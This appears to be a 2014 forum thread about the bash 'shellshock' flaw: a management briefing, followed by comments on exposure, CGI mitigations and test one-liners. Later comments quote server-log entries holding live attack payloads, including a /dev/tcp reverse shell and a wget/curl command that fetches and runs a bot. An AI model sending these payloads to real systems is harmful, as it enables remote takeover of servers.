Folks, for what it's worth, here is a management briefing I wrote this morning. Please feel free to re-use, but please do give proper attribution. Please do comment and correct as appropriate. Summary: Briefing for management on activities to minimize impacts of the "shellshock" computer vulnerability. Status: Testing underway. Initial appraisals are that public-facing systems are likely not subject to shellshock. NOTE: The situation is fluid, due to the nature of the vulnerability. Personnel are also reaching out to hosting providers to assess the status of intervening systems. What is it? A vulnerability in a command interpreter found on the vast majority of Linux and UNIX systems, including web servers, development machines, routers, firewalls, etc. The vulnerability could allow an anonymous attacker to execute arbitrary commands remotely, and to obtain the results of these commands via their browser. The security community has nicknamed the vulnerability "shellshock" since it affects computer command interpreters known as shells. How does it work? Command interpreters, or "shells", are the computer components that allow users to type and execute computer commands. Anytime a user works in a terminal window, they are using a command interpreter - think of the DOS command prompt. Some GUI applications, especially administrative applications, are in fact just graphical interfaces to command interpreters. The most common command interpreter on Linux and UNIX is known as the "bash shell". Within the last several days, security researchers discovered that a serious vulnerability has been present in the vast majority of instances of bash for the last twenty years. This vulnerability allows an attacker with access to a bash shell to execute arbitrary commands. Because many web servers use system command interpreters to fulfill user requests, attackers need not have physical access to a system: The ability to issue web requests, using their browser or commonly-available command line tools, may be enough. How bad could it be? Very, very bad. The vulnerability may exist on the vast majority of Linux and UNIX systems shipped over the last 20 years, including web servers, development machines, routers, firewalls, other network appliances, printers, Mac OSX computers, Android phones, and possibly iPhones (note: It has yet to be established that smartphones are affected, but given that Android and iOS are variants of Linus and UNIX, respectively, it would be premature to exclude them). Furthermore, many such systems have web-based administrative interfaces: While many of these machines do not provide a "web server" in the sense of a server providing content of interest to the casual or "normal" user, many do provide web-based interfaces for diagnotics and administration. Any such system that provides dynamic content using system utilities may be vulnerable. What is the primary risk? There are two, data loss and system modification. By allowing an attacker to execute arbitrary commands, the shellshock vulnerability may allow the attacker to both obtain data from a system and to make changes to system configuration. There is also a third risk, that of using affected systems to launch attacks against other systems, so-called "reflector" attacks: The arbitrary command specified by the attacker could be to direct a network utility against a third machine. How easy is it to detect the vulnerability? Surprising easily: A single command executed using ubiquitous system tools will reveal whether any particular web device or web server is vulnerable. What are we doing? Technical personnel are using these commands to test all web servers and other devices we manage and are working with hosting providers to ensure that all devices upon which we depend have been tested. When devices are determined to be vulnerable, a determination is made whether they should be left alone (e.g., if they are not public facing and patches are either not yet available or would be disruptive at this time, or if there are other mitigations or safeguards in place), patched (e.g., if patches are available and are low impact), or turned off (e.g., if patches are not available, risk is high, and the service is not mandate critical). Updates to this briefing will provided as the situation develops.

lurkinggrue 12y ago

Can you test for this using curl?

magpi3 12y ago

Can the bug be avoided just by setting the default shell for your webserver's user (generally www-data in debian) to /bin/dash? At least from the perspective of Apache users?

AYBABTME 12y ago

I'm confused by this vuln report and all the attention. If I don't run any CGI thing and I don't expose SSH without pubkey and only to trusted users, what is there for me to worry about?

teraflop 12y ago
The CGI and SSH attack vectors are getting a lot of attention because they are so trivially exploitable. But as someone (I believe tptacek) put it in another thread, this bug has one of the biggest potential attack surfaces in history. Anything that sets any environment variable to an untrusted value and then invokes bash is vulnerable. For example, on some systems, simply connecting to an attacker-controlled network is enough to cause code execution through the DHCP client. If you choose not to upgrade bash, you are trusting that none of the code on your system uses bash in this way. It's extremely unlikely that the vectors that have been publicized so far are the only major ones.
- AYBABTME 12y ago
  Alright so necessary conditions are "sets env variables" + "invoke bash". That clarifies, thanks. I'm not advocating not updating, I'm just trying to understand what to do with this info for say, my hosted project that _doesn't set env vars nor invoke bash_.
smackfu 12y ago
Does your firewall run Linux? What technologies are used to implement its logon page? That's the kind of thing people are worried about.

TeeWEE 12y ago

The article points you you can run the following code to check you are affected: env X="() { :;} ; echo busted" /bin/sh -c "echo stuff" However... This just shows that the bash installation has this problem. If your webserver that is running is not interacting with bash, then there is no problem at all. So look at your webserver. Its not per-se a problem in bash. Its more a problem of webservers using bash directly. Or is this bug more serious?

RickHull 12y ago
There are many network daemons besides httpd which, if they delegate request handling to any other process or system functionality, may: 1. Invoke bash somewhere in the call stack 2. Pass request data via environment variables If both of these are true, then the daemon is presumed vulnerable. You may still be vulnerable if (2) is false (by design) yet the attacker is able to set environment variables. CGI / Apache / httpd is the obvious vector, but don't be lured into complacency.
boynamedsue 12y ago
A webserver doesn't have to interact with bash directly or otherwise for a system to be vulnerable to this bug. Here's one scenario: 1. A webserver may set environment variables passed to it from a URL perhaps. 2. Malicious users could craft a URL that set environment variables containing bash commands that do nefarious things. 3. The next time bash is launched (either by a human or programmatically) those nefarious commands are executed perhaps with root privileges.

milankragujevic 12y ago

Here is a simple tool that you can use to check if your website is vulnerable: http://milankragujevic.com/projects/shellshock/ http://milankragujevic.com/projects/shellshock/

Glyptodon 12y ago

http://jaxbot.me/articles/cases-where-bash-shellshock-is-safe-09-25-2014 http://jaxbot.me/articles/cases-where-bash-shellshock-is-saf... Nginx + fpm not vulnerable?

thyrsus 12y ago

Is there a way of preventing functions from being imported from the environment, but still allowing some variables in? My experiments with #!/usr/bin/env -i sh and #!/usr/bin/env - sh ...have not obtained what I'm after. The problem being that functions take precedence over names in the file system, so bash-4.2$ env '/bin/cp=() { echo oops;}' /bin/sh -c '/bin/cp /tmp/foo /tmp/bar' oops

AgentME 12y ago
If an attacker can fully control the name of an injected environment variable, then you've lost already. The attacker can override LD_PRELOAD, which is an environment variable honored by the Linux kernel itself.
- thyrsus 12y ago
  LD_PRELOAD is not honored for setuid executables, but you're right, we don't want to go there.

arielby 12y ago

ISC DHCP Client has a check_option_values function (at the end of dhclient.c), which (if it is properly used, I don't understand the surrounding code enough) should prevent this from being exploited.

arielby 12y ago

ISC DHCP Client has a check_option_values function (at the end of dhclient.c), which (if it is properly used, I don't understand the surrounding code enough) should prevent this from being exploited.

Animats 12y ago

If you're running Apache on Linux/UNIX, and don't absolutely need CGI, it's straightforward to turn it off in Apache. Put a "#" in front of LoadModule cgi_module modules/mod_cgi.so in /etc/httpd/conf/httpd.conf. This prevents the code that runs CGI scripts from even being loaded with Apache, and will totally disable all CGI scripts. Apache is willing to execute CGI scripts from far too many directories, and many Linux distros have some default CGI scripts lying around. This will break CPanel, but not non-CGI admin tools such as Webmin. I can't say anything about PHP; we don't use it. People are out there probing. This is from an Apache server log today from a dedicated server I run. 89.207.135.125 - - [24/Sep/2014:23:08:56 -0700] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 301 338 "-" "() { :;}; /bin/ping -c 1 198.101.206.138" The source is on "i3d.net", which is a hosting service in Rotterdam NL. So someone is running probes from something bigger than a desktop. I sent their support people a note.

Animats 12y ago

A question worth asking: how long has this been exploited? If you have years of Apache logs, go back through them with "grep" and look for attempts to exploit this vulnerability. Report the earliest date on which you find a hit. Thanks.

tlrobinson 12y ago
It would be really nice if log aggregation services (Splunk, Loggly, Papertrail, etc) would do this, notify affected customers, and publicly release anonymized information about it.
phunge 12y ago
Default apache log doesn't show the contents of HTTP headers I believe.

Rabidgremlin 12y ago

mmm, just checked a couple of servers and found suspect activity :( Also this test for vulnerability seems more accurate: x='() { :;}; echo vulnerable' bash

deleted 12y ago

[deleted]

diltonm 12y ago

Don't forget to update any Docker instances of OS's. My brother just challenged me and I'd assumed my Docker Ubuntu instances would be updated automatically by updating the main Ubuntu OS but that was not the case. In my defense I'm still new to Docker. I also used this to list my containers: docker ps -la -n=100 And removed them all, then listed images: docker images And removed them and then ran this to get the latest ubuntu installed from docker: docker run -i -t ubuntu /bin/bash Then when inside the container ran: env X="() { :;} ; echo busted" `which bash` -c "echo completed" The new docker image of ubuntu is still vulnerable. Edit: Updating the container then committing it (Docker terminology) should ensure that container stays updated, though any new runs creating new containers would continue to be vulnerable I suspect until Docker patches them or whomever would be responsible to do so.

xd 12y ago

There are a lot of comments below stating mod_php is just as vulnerable as mod_cgi. This is NOT the case, mod_php is unaffected by shellshock. Edit: Just to be clear, even using system / exec etc is not affected as the environment variables are not passed along to the sub process by the apache sapi.

anonxanon 12y ago

Thanks for posting this.

geeknik 12y ago

I've only seen 2 requests in my logs: access.log:89.207.135.125 - - [25/Sep/2014:06:28:08 +0000] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 404 447 "-" "() { :;}; /bin/ping -c 1 198.101.206.138" access.log:202.38.120.248 - - [26/Sep/2014:13:38:10 +0000] "GET / HTTP/1.0" 200 473 "-" "() { :;}; /bin/bash -c '/bin/bash -i >& /dev/tcp/195.225.34.101/3333 0>&1'"

exeit 12y ago

Trying anything against QNAP seems always to dump passwd file to /cgi-bin/dump

Ayaz 12y ago

I saw a couple of these hurled against my simple site: "() { :;}; /bin/bash -c \x22wget http://stablehost.us/bots/regular.bot -O /tmp/sh;curl -o /tmp/sh http://stablehost.us/bots/regular.bot;sh /tmp/sh;rm -rf /tmp/sh\x22"